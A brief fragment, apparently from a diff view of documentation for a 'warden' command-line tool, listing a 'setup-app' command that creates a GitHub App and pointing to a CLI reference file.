| `warden setup-app` | Create GitHub App via manifest flow |
|
|
77
|
-
|
|
78
|
-
For full options and flags, read `${CLAUDE_SKILL_ROOT}/references/cli-reference.md`.
|